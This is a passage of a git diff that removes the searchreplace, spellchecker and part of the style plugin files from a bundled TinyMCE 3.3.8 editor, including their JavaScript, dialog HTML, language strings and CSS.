: 0 - }, { - mode : m, - search_string : ed.selection.getContent({format : 'text'}), - plugin_url : url - }); - }; - - // Register commands - ed.addCommand('mceSearch', function() { - open('search'); - }); - - ed.addCommand('mceReplace', function() { - open('replace'); - }); - - // Register buttons - ed.addButton('search', {title : 'searchreplace.search_desc', cmd : 'mceSearch'}); - ed.addButton('replace', {title : 'searchreplace.replace_desc', cmd : 'mceReplace'}); - - ed.addShortcut('ctrl+f', 'searchreplace.search_desc', 'mceSearch'); - }, - - getInfo : function() { - return { - longname : 'Search/Replace', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/searchreplace', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('searchreplace', tinymce.plugins.SearchReplacePlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/js/searchreplace.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/js/searchreplace.js deleted file mode 100644 index c0a6243..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/js/searchreplace.js +++ /dev/null @@ -1,130 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var SearchReplaceDialog = { - init : function(ed) { - var f = document.forms[0], m = tinyMCEPopup.getWindowArg("mode"); - - this.switchMode(m); - - f[m + '_panel_searchstring'].value = tinyMCEPopup.getWindowArg("search_string"); - - // Focus input field - f[m + '_panel_searchstring'].focus(); - }, - - switchMode : function(m) { - var f, lm = this.lastMode; - - if (lm != m) { - f = document.forms[0]; - - if (lm) { - f[m + '_panel_searchstring'].value = f[lm + '_panel_searchstring'].value; - f[m + '_panel_backwardsu'].checked = f[lm + '_panel_backwardsu'].checked; - f[m + '_panel_backwardsd'].checked = f[lm + '_panel_backwardsd'].checked; - f[m + '_panel_casesensitivebox'].checked = f[lm + '_panel_casesensitivebox'].checked; - } - - mcTabs.displayTab(m + '_tab', m + '_panel'); - document.getElementById("replaceBtn").style.display = (m == "replace") ? "inline" : "none"; - document.getElementById("replaceAllBtn").style.display = (m == "replace") ? "inline" : "none"; - this.lastMode = m; - } - }, - - searchNext : function(a) { - var ed = tinyMCEPopup.editor, se = ed.selection, r = se.getRng(), f, m = this.lastMode, s, b, fl = 0, w = ed.getWin(), wm = ed.windowManager, fo = 0; - - // Get input - f = document.forms[0]; - s = f[m + '_panel_searchstring'].value; - b = f[m + '_panel_backwardsu'].checked; - ca = f[m + '_panel_casesensitivebox'].checked; - rs = f['replace_panel_replacestring'].value; - - if (s == '') - return; - - function fix() { - // Correct Firefox graphics glitches - r = se.getRng().cloneRange(); - ed.getDoc().execCommand('SelectAll', false, null); - se.setRng(r); - }; - - function replace() { - if (tinymce.isIE) - ed.selection.getRng().duplicate().pasteHTML(rs); // Needs to be duplicated due to selection bug in IE - else - ed.getDoc().execCommand('InsertHTML', false, rs); - }; - - // IE flags - if (ca) - fl = fl | 4; - - switch (a) { - case 'all': - // Move caret to beginning of text - ed.execCommand('SelectAll'); - ed.selection.collapse(true); - - if (tinymce.isIE) { - while (r.findText(s, b ? -1 : 1, fl)) { - r.scrollIntoView(); - r.select(); - replace(); - fo = 1; - - if (b) { - r.moveEnd("character", -(rs.length)); // Otherwise will loop forever - } - } - - tinyMCEPopup.storeSelection(); - } else { - while (w.find(s, ca, b, false, false, false, false)) { - replace(); - fo = 1; - } - } - - if (fo) - tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.allreplaced')); - else - tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound')); - - return; - - case 'current': - if (!ed.selection.isCollapsed()) - replace(); - - break; - } - - se.collapse(b); - r = se.getRng(); - - // Whats the point - if (!s) - return; - - if (tinymce.isIE) { - if (r.findText(s, b ? -1 : 1, fl)) { - r.scrollIntoView(); - r.select(); - } else - tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound')); - - tinyMCEPopup.storeSelection(); - } else { - if (!w.find(s, ca, b, false, false, false, false)) - tinyMCEPopup.alert(ed.getLang('searchreplace_dlg.notfound')); - else - fix(); - } - } -}; - -tinyMCEPopup.onInit.add(SearchReplaceDialog.init, SearchReplaceDialog); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/langs/en_dlg.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/langs/en_dlg.js deleted file mode 100644 index 370959a..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/langs/en_dlg.js +++ /dev/null @@ -1,16 +0,0 @@ -tinyMCE.addI18n('en.searchreplace_dlg',{ -searchnext_desc:"Find again", -notfound:"The search has been completed. The search string could not be found.", -search_title:"Find", -replace_title:"Find/Replace", -allreplaced:"All occurrences of the search string were replaced.", -findwhat:"Find what", -replacewith:"Replace with", -direction:"Direction", -up:"Up", -down:"Down", -mcase:"Match case", -findnext:"Find next", -replace:"Replace", -replaceall:"Replace all" -}); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/searchreplace.htm b/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/searchreplace.htm deleted file mode 100644 index d0424cf..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/searchreplace/searchreplace.htm +++ /dev/null @@ -1,99 +0,0 @@ -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> -<html xmlns="http://www.w3.org/1999/xhtml"> -<head> - <title>{#searchreplace_dlg.replace_title}</title> - <script type="text/javascript" src="../../tiny_mce_popup.js"></script> - <script type="text/javascript" src="../../utils/mctabs.js"></script> - <script type="text/javascript" src="../../utils/form_utils.js"></script> - <script type="text/javascript" src="js/searchreplace.js"></script> - <link rel="stylesheet" type="text/css" href="css/searchreplace.css" /> -</head> -<body style="display:none;"> -<form onsubmit="SearchReplaceDialog.searchNext('none');return false;" action="#"> - <div class="tabs"> - <ul> - <li id="search_tab"><span><a href="javascript:SearchReplaceDialog.switchMode('search');" onmousedown="return false;">{#searchreplace.search_desc}</a></span></li> - <li id="replace_tab"><span><a href="javascript:SearchReplaceDialog.switchMode('replace');" onmousedown="return false;">{#searchreplace_dlg.replace}</a></span></li> - </ul> - </div> - - <div class="panel_wrapper"> - <div id="search_panel" class="panel"> - <table border="0" cellspacing="0" cellpadding="2"> - <tr> - <td><label for="search_panel_searchstring">{#searchreplace_dlg.findwhat}</label></td> - <td><input type="text" id="search_panel_searchstring" name="search_panel_searchstring" style="width: 200px" /></td> - </tr> - <tr> - <td colspan="2"> - <table border="0" cellspacing="0" cellpadding="0" class="direction"> - <tr> - <td><label>{#searchreplace_dlg.direction}</label></td> - <td><input id="search_panel_backwardsu" name="search_panel_backwards" class="radio" type="radio" /></td> - <td><label for="search_panel_backwardsu">{#searchreplace_dlg.up}</label></td> - <td><input id="search_panel_backwardsd" name="search_panel_backwards" class="radio" type="radio" checked="checked" /></td> - <td><label for="search_panel_backwardsd">{#searchreplace_dlg.down}</label></td> - </tr> - </table> - </td> - </tr> - <tr> - <td colspan="2"> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="search_panel_casesensitivebox" name="search_panel_casesensitivebox" class="checkbox" type="checkbox" /></td> - <td><label for="search_panel_casesensitivebox">{#searchreplace_dlg.mcase}</label></td> - </tr> - </table> - </td> - </tr> - </table> - </div> - - <div id="replace_panel" class="panel"> - <table border="0" cellspacing="0" cellpadding="2"> - <tr> - <td><label for="replace_panel_searchstring">{#searchreplace_dlg.findwhat}</label></td> - <td><input type="text" id="replace_panel_searchstring" name="replace_panel_searchstring" style="width: 200px" /></td> - </tr> - <tr> - <td><label for="replace_panel_replacestring">{#searchreplace_dlg.replacewith}</label></td> - <td><input type="text" id="replace_panel_replacestring" name="replace_panel_replacestring" style="width: 200px" /></td> - </tr> - <tr> - <td colspan="2"> - <table border="0" cellspacing="0" cellpadding="0" class="direction"> - <tr> - <td><label>{#searchreplace_dlg.direction}</label></td> - <td><input id="replace_panel_backwardsu" name="replace_panel_backwards" class="radio" type="radio" /></td> - <td><label for="replace_panel_backwardsu">{#searchreplace_dlg.up}</label></td> - <td><input id="replace_panel_backwardsd" name="replace_panel_backwards" class="radio" type="radio" checked="checked" /></td> - <td><label for="replace_panel_backwardsd">{#searchreplace_dlg.down}</label></td> - </tr> - </table> - </td> - </tr> - <tr> - <td colspan="2"> - <table border="0" cellspacing="0" cellpadding="0"> - <tr> - <td><input id="replace_panel_casesensitivebox" name="replace_panel_casesensitivebox" class="checkbox" type="checkbox" /></td> - <td><label for="replace_panel_casesensitivebox">{#searchreplace_dlg.mcase}</label></td> - </tr> - </table> - </td> - </tr> - </table> - </div> - - </div> - - <div class="mceActionPanel"> - <input type="submit" id="insert" name="insert" value="{#searchreplace_dlg.findnext}" /> - <input type="button" class="button" id="replaceBtn" name="replaceBtn" value="{#searchreplace_dlg.replace}" onclick="SearchReplaceDialog.searchNext('current');" /> - <input type="button" class="button" id="replaceAllBtn" name="replaceAllBtn" value="{#searchreplace_dlg.replaceall}" onclick="SearchReplaceDialog.searchNext('all');" /> - <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> - </div> -</form> -</body> -</html> diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/css/content.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/css/content.css deleted file mode 100644 index 24efa02..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/css/content.css +++ /dev/null @@ -1 +0,0 @@ -.mceItemHiddenSpellWord {background:url(../img/wline.gif) repeat-x bottom left; cursor:default;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/editor_plugin.js deleted file mode 100644 index a9ec3b9..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ -(function(){var a=tinymce.util.JSONRequest,c=tinymce.each,b=tinymce.DOM;tinymce.create("tinymce.plugins.SpellcheckerPlugin",{getInfo:function(){return{longname:"Spellchecker",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker",version:tinymce.majorVersion+"."+tinymce.minorVersion}},init:function(e,f){var g=this,d;g.url=f;g.editor=e;g.rpcUrl=e.getParam("spellchecker_rpc_url","{backend}");if(g.rpcUrl=="{backend}"){if(tinymce.isIE){return}g.hasSupport=true;e.onContextMenu.addToTop(function(h,i){if(g.active){return false}})}e.addCommand("mceSpellCheck",function(){if(g.rpcUrl=="{backend}"){g.editor.getBody().spellcheck=g.active=!g.active;return}if(!g.active){e.setProgressState(1);g._sendRPC("checkWords",[g.selectedLang,g._getWords()],function(h){if(h.length>0){g.active=1;g._markWords(h);e.setProgressState(0);e.nodeChanged()}else{e.setProgressState(0);if(e.getParam("spellchecker_report_no_misspellings",true)){e.windowManager.alert("spellchecker.no_mpell")}}})}else{g._done()}});e.onInit.add(function(){if(e.settings.content_css!==false){e.dom.loadCSS(f+"/css/content.css")}});e.onClick.add(g._showMenu,g);e.onContextMenu.add(g._showMenu,g);e.onBeforeGetContent.add(function(){if(g.active){g._removeWords()}});e.onNodeChange.add(function(i,h){h.setActive("spellchecker",g.active)});e.onSetContent.add(function(){g._done()});e.onBeforeGetContent.add(function(){g._done()});e.onBeforeExecCommand.add(function(h,i){if(i=="mceFullScreen"){g._done()}});g.languages={};c(e.getParam("spellchecker_languages","+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv","hash"),function(i,h){if(h.indexOf("+")===0){h=h.substring(1);g.selectedLang=i}g.languages[h]=i})},createControl:function(h,d){var f=this,g,e=f.editor;if(h=="spellchecker"){if(f.rpcUrl=="{backend}"){if(f.hasSupport){g=d.createButton(h,{title:"spellchecker.desc",cmd:"mceSpellCheck",scope:f})}return g}g=d.createSplitButton(h,{title:"spellchecker.desc",cmd:"mceSpellCheck",scope:f});g.onRenderMenu.add(function(j,i){i.add({title:"spellchecker.langs","class":"mceMenuItemTitle"}).setDisabled(1);c(f.languages,function(n,m){var p={icon:1},l;p.onclick=function(){l.setSelected(1);f.selectedItem.setSelected(0);f.selectedItem=l;f.selectedLang=n};p.title=m;l=i.add(p);l.setSelected(n==f.selectedLang);if(n==f.selectedLang){f.selectedItem=l}})});return g}},_walk:function(i,g){var h=this.editor.getDoc(),e;if(h.createTreeWalker){e=h.createTreeWalker(i,NodeFilter.SHOW_TEXT,null,false);while((i=e.nextNode())!=null){g.call(this,i)}}else{tinymce.walk(i,g,"childNodes")}},_getSeparators:function(){var e="",d,f=this.editor.getParam("spellchecker_word_separator_chars",'\\s!"#$%&()*+,-./:;<=>?@[]^_{|}§©«®±¶·¸»¼½¾¿×÷¤\u201d\u201c');for(d=0;d<f.length;d++){e+="\\"+f.charAt(d)}return e},_getWords:function(){var e=this.editor,g=[],d="",f={},h=[];this._walk(e.getBody(),function(i){if(i.nodeType==3){d+=i.nodeValue+" "}});if(e.getParam("spellchecker_word_pattern")){h=d.match("("+e.getParam("spellchecker_word_pattern")+")","gi")}else{d=d.replace(new RegExp("([0-9]|["+this._getSeparators()+"])","g")," ");d=tinymce.trim(d.replace(/(\s+)/g," "));h=d.split(" ")}c(h,function(i){if(!f[i]){g.push(i);f[i]=1}});return g},_removeWords:function(e){var f=this.editor,h=f.dom,g=f.selection,d=g.getBookmark();c(h.select("span").reverse(),function(i){if(i&&(h.hasClass(i,"mceItemHiddenSpellWord")||h.hasClass(i,"mceItemHidden"))){if(!e||h.decode(i.innerHTML)==e){h.remove(i,1)}}});g.moveToBookmark(d)},_markWords:function(o){var i,h,g,f,e,n="",k=this.editor,p=this._getSeparators(),j=k.dom,d=[];var l=k.selection,m=l.getBookmark();c(o,function(q){n+=(n?"|":"")+q});i=new RegExp("(["+p+"])("+n+")(["+p+"])","g");h=new RegExp("^("+n+")","g");g=new RegExp("("+n+")(["+p+"]?)$","g");f=new RegExp("^("+n+")(["+p+"]?)$","g");e=new RegExp("("+n+")(["+p+"])","g");this._walk(this.editor.getBody(),function(q){if(q.nodeType==3){d.push(q)}});c(d,function(r){var q;if(r.nodeType==3){q=r.nodeValue;if(i.test(q)||h.test(q)||g.test(q)||f.test(q)){q=j.encode(q);q=q.replace(e,'<span class="mceItemHiddenSpellWord">$1</span>$2');q=q.replace(g,'<span class="mceItemHiddenSpellWord">$1</span>$2');j.replace(j.create("span",{"class":"mceItemHidden"},q),r)}}});l.moveToBookmark(m)},_showMenu:function(h,j){var i=this,h=i.editor,d=i._menu,l,k=h.dom,g=k.getViewPort(h.getWin()),f=j.target;j=0;if(!d){l=b.getPos(h.getContentAreaContainer());d=h.controlManager.createDropMenu("spellcheckermenu",{offset_x:l.x,offset_y:l.y,"class":"mceNoIcons"});i._menu=d}if(k.hasClass(f,"mceItemHiddenSpellWord")){d.removeAll();d.add({title:"spellchecker.wait","class":"mceMenuItemTitle"}).setDisabled(1);i._sendRPC("getSuggestions",[i.selectedLang,k.decode(f.innerHTML)],function(m){var e;d.removeAll();if(m.length>0){d.add({title:"spellchecker.sug","class":"mceMenuItemTitle"}).setDisabled(1);c(m,function(n){d.add({title:n,onclick:function(){k.replace(h.getDoc().createTextNode(n),f);i._checkDone()}})});d.addSeparator()}else{d.add({title:"spellchecker.no_sug","class":"mceMenuItemTitle"}).setDisabled(1)}e=i.editor.getParam("spellchecker_enable_ignore_rpc","");d.add({title:"spellchecker.ignore_word",onclick:function(){var n=f.innerHTML;k.remove(f,1);i._checkDone();if(e){h.setProgressState(1);i._sendRPC("ignoreWord",[i.selectedLang,n],function(o){h.setProgressState(0)})}}});d.add({title:"spellchecker.ignore_words",onclick:function(){var n=f.innerHTML;i._removeWords(k.decode(n));i._checkDone();if(e){h.setProgressState(1);i._sendRPC("ignoreWords",[i.selectedLang,n],function(o){h.setProgressState(0)})}}});if(i.editor.getParam("spellchecker_enable_learn_rpc")){d.add({title:"spellchecker.learn_word",onclick:function(){var n=f.innerHTML;k.remove(f,1);i._checkDone();h.setProgressState(1);i._sendRPC("learnWord",[i.selectedLang,n],function(o){h.setProgressState(0)})}})}d.update()});h.selection.select(f);l=k.getPos(f);d.showMenu(l.x,l.y+f.offsetHeight-g.y);return tinymce.dom.Event.cancel(j)}else{d.hideMenu()}},_checkDone:function(){var e=this,d=e.editor,g=d.dom,f;c(g.select("span"),function(h){if(h&&g.hasClass(h,"mceItemHiddenSpellWord")){f=true;return false}});if(!f){e._done()}},_done:function(){var d=this,e=d.active;if(d.active){d.active=0;d._removeWords();if(d._menu){d._menu.hideMenu()}if(e){d.editor.nodeChanged()}}},_sendRPC:function(e,g,d){var f=this;a.sendRPC({url:f.rpcUrl,method:e,params:g,success:d,error:function(i,h){f.editor.setProgressState(0);f.editor.windowManager.alert(i.errstr||("Error response: "+h.responseText))}})}});tinymce.PluginManager.add("spellchecker",tinymce.plugins.SpellcheckerPlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/editor_plugin_src.js deleted file mode 100644 index d8680ba..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/editor_plugin_src.js +++ /dev/null @@ -1,417 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - var JSONRequest = tinymce.util.JSONRequest, each = tinymce.each, DOM = tinymce.DOM; - - tinymce.create('tinymce.plugins.SpellcheckerPlugin', { - getInfo : function() { - return { - longname : 'Spellchecker', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - }, - - init : function(ed, url) { - var t = this, cm; - - t.url = url; - t.editor = ed; - t.rpcUrl = ed.getParam("spellchecker_rpc_url", "{backend}"); - - if (t.rpcUrl == '{backend}') { - // Sniff if the browser supports native spellchecking (Don't know of a better way) - if (tinymce.isIE) - return; - - t.hasSupport = true; - - // Disable the context menu when spellchecking is active - ed.onContextMenu.addToTop(function(ed, e) { - if (t.active) - return false; - }); - } - - // Register commands - ed.addCommand('mceSpellCheck', function() { - if (t.rpcUrl == '{backend}') { - // Enable/disable native spellchecker - t.editor.getBody().spellcheck = t.active = !t.active; - return; - } - - if (!t.active) { - ed.setProgressState(1); - t._sendRPC('checkWords', [t.selectedLang, t._getWords()], function(r) { - if (r.length > 0) { - t.active = 1; - t._markWords(r); - ed.setProgressState(0); - ed.nodeChanged(); - } else { - ed.setProgressState(0); - - if (ed.getParam('spellchecker_report_no_misspellings', true)) - ed.windowManager.alert('spellchecker.no_mpell'); - } - }); - } else - t._done(); - }); - - ed.onInit.add(function() { - if (ed.settings.content_css !== false) - ed.dom.loadCSS(url + '/css/content.css'); - }); - - ed.onClick.add(t._showMenu, t); - ed.onContextMenu.add(t._showMenu, t); - ed.onBeforeGetContent.add(function() { - if (t.active) - t._removeWords(); - }); - - ed.onNodeChange.add(function(ed, cm) { - cm.setActive('spellchecker', t.active); - }); - - ed.onSetContent.add(function() { - t._done(); - }); - - ed.onBeforeGetContent.add(function() { - t._done(); - }); - - ed.onBeforeExecCommand.add(function(ed, cmd) { - if (cmd == 'mceFullScreen') - t._done(); - }); - - // Find selected language - t.languages = {}; - each(ed.getParam('spellchecker_languages', '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv', 'hash'), function(v, k) { - if (k.indexOf('+') === 0) { - k = k.substring(1); - t.selectedLang = v; - } - - t.languages[k] = v; - }); - }, - - createControl : function(n, cm) { - var t = this, c, ed = t.editor; - - if (n == 'spellchecker') { - // Use basic button if we use the native spellchecker - if (t.rpcUrl == '{backend}') { - // Create simple toggle button if we have native support - if (t.hasSupport) - c = cm.createButton(n, {title : 'spellchecker.desc', cmd : 'mceSpellCheck', scope : t}); - - return c; - } - - c = cm.createSplitButton(n, {title : 'spellchecker.desc', cmd : 'mceSpellCheck', scope : t}); - - c.onRenderMenu.add(function(c, m) { - m.add({title : 'spellchecker.langs', 'class' : 'mceMenuItemTitle'}).setDisabled(1); - each(t.languages, function(v, k) { - var o = {icon : 1}, mi; - - o.onclick = function() { - mi.setSelected(1); - t.selectedItem.setSelected(0); - t.selectedItem = mi; - t.selectedLang = v; - }; - - o.title = k; - mi = m.add(o); - mi.setSelected(v == t.selectedLang); - - if (v == t.selectedLang) - t.selectedItem = mi; - }) - }); - - return c; - } - }, - - // Internal functions - - _walk : function(n, f) { - var d = this.editor.getDoc(), w; - - if (d.createTreeWalker) { - w = d.createTreeWalker(n, NodeFilter.SHOW_TEXT, null, false); - - while ((n = w.nextNode()) != null) - f.call(this, n); - } else - tinymce.walk(n, f, 'childNodes'); - }, - - _getSeparators : function() { - var re = '', i, str = this.editor.getParam('spellchecker_word_separator_chars', '\\s!"#$%&()*+,-./:;<=>?@[\]^_{|}§©«®±¶·¸»¼½¾¿×÷¤\u201d\u201c'); - - // Build word separator regexp - for (i=0; i<str.length; i++) - re += '\\' + str.charAt(i); - - return re; - }, - - _getWords : function() { - var ed = this.editor, wl = [], tx = '', lo = {}, rawWords = []; - - // Get area text - this._walk(ed.getBody(), function(n) { - if (n.nodeType == 3) - tx += n.nodeValue + ' '; - }); - - // split the text up into individual words - if (ed.getParam('spellchecker_word_pattern')) { - // look for words that match the pattern - rawWords = tx.match('(' + ed.getParam('spellchecker_word_pattern') + ')', 'gi'); - } else { - // Split words by separator - tx = tx.replace(new RegExp('([0-9]|[' + this._getSeparators() + '])', 'g'), ' '); - tx = tinymce.trim(tx.replace(/(\s+)/g, ' ')); - rawWords = tx.split(' '); - } - - // Build word array and remove duplicates - each(rawWords, function(v) { - if (!lo[v]) { - wl.push(v); - lo[v] = 1; - } - }); - - return wl; - }, - - _removeWords : function(w) { - var ed = this.editor, dom = ed.dom, se = ed.selection, b = se.getBookmark(); - - each(dom.select('span').reverse(), function(n) { - if (n && (dom.hasClass(n, 'mceItemHiddenSpellWord') || dom.hasClass(n, 'mceItemHidden'))) { - if (!w || dom.decode(n.innerHTML) == w) - dom.remove(n, 1); - } - }); - - se.moveToBookmark(b); - }, - - _markWords : function(wl) { - var r1, r2, r3, r4, r5, w = '', ed = this.editor, re = this._getSeparators(), dom = ed.dom, nl = []; - var se = ed.selection, b = se.getBookmark(); - - each(wl, function(v) { - w += (w ? '|' : '') + v; - }); - - r1 = new RegExp('([' + re + '])(' + w + ')([' + re + '])', 'g'); - r2 = new RegExp('^(' + w + ')', 'g'); - r3 = new RegExp('(' + w + ')([' + re + ']?)$', 'g'); - r4 = new RegExp('^(' + w + ')([' + re + ']?)$', 'g'); - r5 = new RegExp('(' + w + ')([' + re + '])', 'g'); - - // Collect all text nodes - this._walk(this.editor.getBody(), function(n) { - if (n.nodeType == 3) { - nl.push(n); - } - }); - - // Wrap incorrect words in spans - each(nl, function(n) { - var v; - - if (n.nodeType == 3) { - v = n.nodeValue; - - if (r1.test(v) || r2.test(v) || r3.test(v) || r4.test(v)) { - v = dom.encode(v); - v = v.replace(r5, '<span class="mceItemHiddenSpellWord">$1</span>$2'); - v = v.replace(r3, '<span class="mceItemHiddenSpellWord">$1</span>$2'); - - dom.replace(dom.create('span', {'class' : 'mceItemHidden'}, v), n); - } - } - }); - - se.moveToBookmark(b); - }, - - _showMenu : function(ed, e) { - var t = this, ed = t.editor, m = t._menu, p1, dom = ed.dom, vp = dom.getViewPort(ed.getWin()), wordSpan = e.target; - - e = 0; // Fixes IE memory leak - - if (!m) { - p1 = DOM.getPos(ed.getContentAreaContainer()); - //p2 = DOM.getPos(ed.getContainer()); - - m = ed.controlManager.createDropMenu('spellcheckermenu', { - offset_x : p1.x, - offset_y : p1.y, - 'class' : 'mceNoIcons' - }); - - t._menu = m; - } - - if (dom.hasClass(wordSpan, 'mceItemHiddenSpellWord')) { - m.removeAll(); - m.add({title : 'spellchecker.wait', 'class' : 'mceMenuItemTitle'}).setDisabled(1); - - t._sendRPC('getSuggestions', [t.selectedLang, dom.decode(wordSpan.innerHTML)], function(r) { - var ignoreRpc; - - m.removeAll(); - - if (r.length > 0) { - m.add({title : 'spellchecker.sug', 'class' : 'mceMenuItemTitle'}).setDisabled(1); - each(r, function(v) { - m.add({title : v, onclick : function() { - dom.replace(ed.getDoc().createTextNode(v), wordSpan); - t._checkDone(); - }}); - }); - - m.addSeparator(); - } else - m.add({title : 'spellchecker.no_sug', 'class' : 'mceMenuItemTitle'}).setDisabled(1); - - ignoreRpc = t.editor.getParam("spellchecker_enable_ignore_rpc", ''); - m.add({ - title : 'spellchecker.ignore_word', - onclick : function() { - var word = wordSpan.innerHTML; - - dom.remove(wordSpan, 1); - t._checkDone(); - - // tell the server if we need to - if (ignoreRpc) { - ed.setProgressState(1); - t._sendRPC('ignoreWord', [t.selectedLang, word], function(r) { - ed.setProgressState(0); - }); - } - } - }); - - m.add({ - title : 'spellchecker.ignore_words', - onclick : function() { - var word = wordSpan.innerHTML; - - t._removeWords(dom.decode(word)); - t._checkDone(); - - // tell the server if we need to - if (ignoreRpc) { - ed.setProgressState(1); - t._sendRPC('ignoreWords', [t.selectedLang, word], function(r) { - ed.setProgressState(0); - }); - } - } - }); - - - if (t.editor.getParam("spellchecker_enable_learn_rpc")) { - m.add({ - title : 'spellchecker.learn_word', - onclick : function() { - var word = wordSpan.innerHTML; - - dom.remove(wordSpan, 1); - t._checkDone(); - - ed.setProgressState(1); - t._sendRPC('learnWord', [t.selectedLang, word], function(r) { - ed.setProgressState(0); - }); - } - }); - } - - m.update(); - }); - - ed.selection.select(wordSpan); - p1 = dom.getPos(wordSpan); - m.showMenu(p1.x, p1.y + wordSpan.offsetHeight - vp.y); - - return tinymce.dom.Event.cancel(e); - } else - m.hideMenu(); - }, - - _checkDone : function() { - var t = this, ed = t.editor, dom = ed.dom, o; - - each(dom.select('span'), function(n) { - if (n && dom.hasClass(n, 'mceItemHiddenSpellWord')) { - o = true; - return false; - } - }); - - if (!o) - t._done(); - }, - - _done : function() { - var t = this, la = t.active; - - if (t.active) { - t.active = 0; - t._removeWords(); - - if (t._menu) - t._menu.hideMenu(); - - if (la) - t.editor.nodeChanged(); - } - }, - - _sendRPC : function(m, p, cb) { - var t = this; - - JSONRequest.sendRPC({ - url : t.rpcUrl, - method : m, - params : p, - success : cb, - error : function(e, x) { - t.editor.setProgressState(0); - t.editor.windowManager.alert(e.errstr || ('Error response: ' + x.responseText)); - } - }); - } - }); - - // Register plugin - tinymce.PluginManager.add('spellchecker', tinymce.plugins.SpellcheckerPlugin); -})(); diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/img/wline.gif b/tinymce-3.3.8/jscripts/tiny_mce/plugins/spellchecker/img/wline.gif deleted file mode 100644 index 7d0a4dbca03cc13177a359a5f175dda819fdf464..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 46 ycmZ?wbhEHbWMN=tXkcXcqowu#|9{1wEQ|~cj0`#qKmd|qU}ANVOOs?}um%7FLkRf* diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/css/props.css b/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/css/props.css deleted file mode 100644 index eb1f264..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/css/props.css +++ /dev/null @@ -1,13 +0,0 @@ -#text_font {width:250px;} -#text_size {width:70px;} -.mceAddSelectValue {background:#DDD;} -select, #block_text_indent, #box_width, #box_height, #box_padding_top, #box_padding_right, #box_padding_bottom, #box_padding_left {width:70px;} -#box_margin_top, #box_margin_right, #box_margin_bottom, #box_margin_left, #positioning_width, #positioning_height, #positioning_zindex {width:70px;} -#positioning_placement_top, #positioning_placement_right, #positioning_placement_bottom, #positioning_placement_left {width:70px;} -#positioning_clip_top, #positioning_clip_right, #positioning_clip_bottom, #positioning_clip_left {width:70px;} -.panel_wrapper div.current {padding-top:10px;height:230px;} -.delim {border-left:1px solid gray;} -.tdelim {border-bottom:1px solid gray;} -#block_display {width:145px;} -#list_type {width:115px;} -.disabled {background:#EEE;} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/editor_plugin.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/editor_plugin.js deleted file mode 100644 index cab2153..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/editor_plugin.js +++ /dev/null @@ -1 +0,0 @@ 